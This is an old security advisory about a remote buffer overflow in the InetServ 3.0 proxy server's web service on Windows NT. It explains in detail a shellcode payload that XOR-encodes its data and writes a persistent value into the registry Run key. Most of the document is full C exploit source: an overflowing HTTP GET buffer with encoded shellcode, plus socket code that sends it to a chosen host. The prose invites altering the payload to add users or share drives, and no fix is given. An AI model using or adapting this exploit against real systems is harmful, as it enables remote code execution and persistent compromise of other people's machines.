COMMAND
InetServ
SYSTEMS AFFECTED
InetServ 3.0 (Windows NT)
PROBLEM
Greg Hoglund found following. After downloading a copy of
InetServ 3.0 - a proxy server for Windows NT, he started testing a
single remotely-addressable function of the software - a web
service. In less than 1 minute... his automated testing software
had already located a buffer overflow - a childlike and brainless
overflow. It appeared that an http GET request with a 537 byte
path would own EIP (in other words, allow me to control the remote
processor).
This is not an isolated phenomenon. This advisory is not about
that one buffer overflow. In fact, we will wager there are at
least 10 discrete buffer overflow conditions in this software
package alone, all of them exploitable from remote. There may be
even more. The fact that Greg was able to find such a simple and
easy to discover bug (the GET request - exploitable from a WEB
Browser URL!) only substantiates that this piece of software was
never adequately tested in QA.
Lets talk about this exploit. The fact that the GET request
causes an oveflow is far from noteworthy. We can tell just by
the disassembly that there are many more overflows where this
came from. What is worth talking about is the payload Greg
designed for this exploit. So, the rest of the discussion is
about the payload.
One of the most common things a payload does is open a remote
shell. A number of months back I wrote a small intrusion
prevention tool that rendered all of these overflows harmless - an
NT kernel patch that prevents my server software from launching
sub-processes. Gee, all of the 'shell' based overflow attacks
have been demoted to ankle-biters. Of course, those of you with
experience immediately realize that a payload can do anything it
wants - and as the virus underground has taught us - there are a
million ways to torture a computer. Todays payload does not open
a remote shell - rather, it shares all of your hard drives without
a password - and does this without launching a single sub-process
or even loading any new functions. We are going to attack the NT
registry through functions already loaded into the process space.
Most processes have useful functions already loaded into address
space. Using WDASM and VC++ we are able to find the memory
location of the following functions:
Name: Jump Table: Actual (NTServer 4.0 SP3)
ADVAPI32.RegCloseKey [43D004] 77DB75A9
ADVAPI32.RegCreateKeyExA [43D008] 77DBA7F9
ADVAPI32.RegOpenKeyExA [43D00C] 77DB851A
ADVAPI32.RegQueryValueExA [43D010] 77DB8E19
ADVAPI32.RegSetValueExA [43D000] 77DBA979
Since we cannot be assured where the location of ADVAPI32.DLL
will be mapped, we simply use the jump table itself, which will
be loaded in the same location regardless. In order to prevent
NULL characters, I XOR my data area with 0x80. The payload first
decodes the data area, then calls the following functions in
order to add a value to the windows RUN key:
RegOpenKeyEx();
RegSetValueEx();
In order to avoid NULL's we used an XOR between registers, as you
see in code:
mov eax, 77787748
mov edx, 77777777
xor eax, edx
push eax
followed later only by:
mov eax, 0x77659BAe
xor eax, edx
push eax
These values translate to addresses in the local area which
require a NULL character, hence the XOR. The value in the example
is merely "cmd.exe /c" with no parameters. You could easily alter
this to add a user to the system, or share a drive. For "script
kiddie" purposes you will get nothing here - you'll need to alter
the cmd.exe string and alter the size variable in the decode loop
(shown here set to 0x46):
xor ecx, ecx
mov ecx, 0x46
LOOP_TOP:
dec eax
xor [eax], 0x80
dec ecx
jnz LOOP_TOP (75 F9)
Once this runs, check your registry and you'll find the value in
question. The value will be executed upon the next reboot. This
is a very common way for network worms to operate, incidentally.
The only snag when using an http request is that there are some
characters that are filtered or special - so you must avoid these.
This limits which machine instructions you can directly inject -
however there are always wasy to get around such problems. In
conclusion, Greg is merely trying to demonstrate that there are
many things a buffer overflow can do besides create a shell or
download a file - and many forms of host based IDS will not
notice this. Now clearly the RUN key is common place for
security-savvy people to look, but it could have easily been
something else more esoteric.
Code follows:
#include "windows.h"
#include "stdio.h"
#include "winsock.h"
#define TARGET_PORT 224
#define TARGET_IP "127.0.0.1"
char aSendBuffer[] =
"GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
"AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
//mov eax, 0x12ED21FF
//sub al, 0xFF
//rol eax, 0x018
//mov ebx, eax
"\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
// xor ecx, ecx
// mov ecx, 0x46
//LOOP_TOP:
// dec eax
// xor [eax], 0x80
// dec ecx
// jnz LOOP_TOP (75 F9)
"\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \
//push ebx
"\x53" \
//mov eax, 77787748
//mov edx, 77777777
"\xB8\x48\x77\x78\x77" \
"\xBA\x77\x77\x77\x77" \
//xor eax, edx
//push eax
"\x33\xC2\x50" \
//xor eax, eax
//push eax
"\x33\xC0\x50" \
// mov eax, 0x77659BAe
// xor eax, edx
// push eax
"\xB8\xAE\x9B\x65\x77\x33\xC2\x50"
//mov eax, F7777775
//xor eax, edx
//push eax
"\xB8\x75\x77\x77\xF7" \
"\x33\xC2\x50" \
//mov eax, 7734A77Bh
//xor eax, edx
//call [eax]
"\xB8\x7B\xA7\x34\x77" \
"\x33\xC2" \
"\xFF\x10" \
//mov edi, ebx
//mov eax, 0x77659A63
//xor eax, edx
//sub ebx, eax
//push ebx
//push eax
//push 1
//xor ecx, ecx
//push ecx
//push eax
//push [edi]
//mov eax, 0x7734A777
//xor eax, edx
//call [eax]
"\x8B\xFB" \
"\xBA\x77\x77\x77\x77" \
"\xB8\x63\x9A\x65\x77\x33\xC2" \
"\x2B\xD8\x53\x50" \
"\x6A\x01\x33\xC9\x51" \
"\xB8\x70\x9A\x65\x77" \
"\x33\xC2\x50" \
"\xFF\x37\xB8\x77\xA7\x34" \
"\x77\x33\xC2\xFF\x10" \
// halt or jump to somewhere harmless
"\xCC" \
"AAAAAAAAAAAAAAA" \
// nop (int 3) 92
// nop (int 3)
// jmp
"\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
/* registry key path "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
"\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
"\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
"\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
"\xD2\xF5\xEE\x80" \
/* value name "_UR_HAXORED_" */
"\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
/* the command "cmd.exe /c" */
"\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";
int main(int argc, char* argv[])
{
WSADATA wsaData;
SOCKET s;
SOCKADDR_IN sockaddr;
sockaddr.sin_family = AF_INET;
if(3 == argc)
{
int port = atoi(argv[2]);
sockaddr.sin_port = htons(port);
}
else
{
sockaddr.sin_port = htons(TARGET_PORT);
}
if(2 <= argc)
{
sockaddr.sin_addr.S_un.S_addr = inet_addr(argv[2]);
}
else
{
sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
}
try
{
WSAStartup(MAKEWORD(2,0), &wsaData);
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(INVALID_SOCKET == s)
throw WSAGetLastError();
if(SOCKET_ERROR == connect(s, (SOCKADDR *)&sockaddr, sizeof(SOCKADDR)) )
throw WSAGetLastError();
send(s, aSendBuffer, strlen(aSendBuffer), 0);
closesocket(s);
WSACleanup();
}
catch(int err)
{
fprintf(stderr, "error %d\n", err);
}
return 0;
}
SOLUTION
Nothing yet.